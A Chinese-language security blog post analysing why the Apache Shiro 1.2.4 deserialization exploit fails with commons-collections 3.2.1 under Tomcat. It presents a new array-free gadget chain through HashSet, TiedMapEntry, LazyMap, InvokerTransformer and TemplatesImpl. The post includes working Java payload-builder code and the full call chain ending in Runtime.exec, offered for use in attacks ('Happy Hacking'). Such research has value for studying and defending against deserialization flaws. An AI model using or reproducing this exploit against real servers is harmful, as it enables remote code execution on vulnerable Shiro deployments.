0x00 前言
在跟了一遍commons-collections系列的payload后,终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。
当前,不管是国内实际的xx行动还是ctf比赛,shiro反序列化会经常看到。但在实际利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1(原因后面说)。
我们前面已经对commons-collections系列利用链的分析,今天就来根据学到的知识来解决这个问题。
本文讨论了shiro-1.2.4版本无法直接利用现有的ysoserial利用链,并提出了相应的解决方案。
0x01 环境准备
这里用的是shiro-root-1.2.4的samples/web环境,clone下来后执行git checkout shiro-root-1.2.4
利用脚本参考的知道创宇的一篇分析
ysoserial用的0.0.6版本https://github.com/frohoff/ysoserial
先来讲一下,关于环境方面遇到的坑:
1. 在部署过程中,遇到了The absolute uri: http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application的错误
这里的解决方案是修改pom.xml
添加jstl的具体版本即可解决。
2. serialVersionUID不一致导致无法反序列化的问题
这里可能在你的实验环境下不一定会遇到,我的实验环境和ysoserial生成的某几个类的serialVersionUID不一致,导致无法正常反序列化。
在实战中你可以采用这篇文章处理方法,这里我的解决方案是直接同步个commons-collections:3.2.1版本,在生成war包前,在pom.xml加入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
0x02 前景回顾
16年的时候,shiro爆出了一个默认key的反序列化漏洞。至今已有大量的分析文章分析了该漏洞的原理,所以本文不再重复分析该漏洞的相关原理,可以参考以下几篇文章的分析:
- 1.https://blog.knownsec.com/2016/08/apache-shiro-java/
- 2.https://blog.zsxsoft.com/post/35
- 3.http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
除了1中在漏洞环境下添加了commons-collections:4.0,另外两篇文章均提到了在tomcat下无法直接利用commons-collections:3.2.1的问题。接下来我们就来看看是什么原因吧:)
org.apache.shiro.io.DefaultSerializer.deserialize:67
这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream.这里可能是开发人员做的一种防护措施?
他重写了ObjectInputStream类的resolveClass函数,我曾在第一篇基础文章中分析过Java反序列化的过程,ObjectInputStream的resolveClass函数用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass函数
采用的是ClassUtils.forName,我们继续看这个forName的实现。
来看看这个ExceptionIgnoringAccessor是怎么实现的
这里实际上调用了ParallelWebAppClassLoader父类WebappClassLoaderBase的loadClass函数(可以直接下断点看看内容)。
该loadClass载入按照上述的顺序(这里不贴代码了,找到org.apache.catalina.loader.WebappClassLoaderBase.loadClass即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类URLClassLoader的loadClass函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。
那么如何才能真正的利用commons-collections:3.2.1来构造利用链呢?
首先,在参考的第一篇文章里,作者在环境中引入了commons-collections:4.0,使得ysoserial的CommonsCollections2利用链可以成功利用。这是因为CommonsCollections2用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令。
那么,问题来了,我们是否能构造出一个在commons-collections:3.2.1下可以利用,并且在利用链上不存在数组类型的对象?答案当然是肯定的:)
0x03 新利用链构造
根据0x02的介绍,我们可以清楚的是利用链中的ChainedTransformer这个类的利用是无法成功的,因为他的类属性iTransformers是数组类型的Transformers,也就是在执行过程中发生的ClassNotFoundException。
如果你看过前几篇关于commons-collections系列的payload分析,那么你肯定可以回忆起来,除了利用ChainedTransformer这种方式,还可以使用TemplatesImpl.newTransformer函数来动态loadClass构造好的evil class bytes(这一部分不复述了,可以看前面的文章)。并且在这部分利用链上是不存在数组类型的对象的。
那么,接下来的重点就是找一个如何触发TemplatesImpl.newTransformer的方法了:)
我们先来回顾一下CommonsCollections2的利用链
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
在这条链上,由于TransformingComparator在3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的。
那么就来改造改造吧!我们先将注意力关注在InvokerTransformer.transform()上
这里是最经典的反射机制的写法,根据传入的input对象,调用其iMethodName(可控)。那么如果此时传入的input为构造好的TemplatesImpl对象呢?
很明显,这样我们就可以通过将iMethodName置为newTransformer,从而完成后续的templates gadgets。
那么问题来了,怎么将传入的input置为TemplatesImpl对象呢?
在ysoserial的利用链中,关于transform函数接收的input存在两种情况。
1.配合ChainedTransformer
InvokerTransformer往往同ChainedTransformer配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。
2.无意义的String
这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant
这里第一条路肯定断了,那么就是怎么利用这个无意义的String了!
从CommonsCollection5开始,出现了TiedMapEntry,其作为中继,调用了LazyMap(map)的get函数。
来看一看
其中map和key我们都可以控制,而LazyMap.get调用了transform函数,并将可控的key传入transform函数
这里就接上了我们前面讨论的,将构造好的TemplatesImpl(key)作为InvokerTransformer.transform函数的input传入,我们就可以将templates gadgets串起来了。
简单来说,我们将CommonsCollections5,6,9构造链中的TiedMapEntry的key用了起来。
final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
这里将无意义的foo改造成了触发TemplatesImpl.newTransformer的trigger。
而在TiedMapEntry前的利用链,在原生shiro环境下,并不冲突(没有数组类型的对象),可以正常反序列化。这一部分就省略了。
0x04 EXP编写
这里其实可以构造出好几个链,我这里就拿HashSet为例,完整的exp见MyYsoserial中的CommonsCollections10
final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl
// 构造InvokerTransformer,填充无害的toString函数
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final Map innerMap = new HashMap();
// 构造LazyMap的factory为前面的InvokerTransformer
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
// 填充TiedMapEntry的map(lazyMap)和key(TemplatesImpl)
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
// 下述代码将entry填充到HashSet的node的key上,可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
// 将最终的触发函数newTransformer装载到InvokerTransformer上
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return map;
这里不对源码进行讲解了,都写在了注释里。
这里整理一下这条链的调用过程
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
-> org.apache.commons.collections.map.LazyMap.get()
-> org.apache.commons.collections.functors.InvokerTransformer.transform()
-> java.lang.reflect.Method.invoke()
... templates gadgets ...
-> java.lang.Runtime.exec()
0x05 总结
在经过对CommonsCollections系列的利用链进行分析后,在shiro这个问题上,进行了实战,解决了tomcat下无法利用shiro原生的commons-collections:3.2.1这个问题。
在最近的shiro-721利用上,这个利用链希望可以帮助到大家
Happy Hacking XD











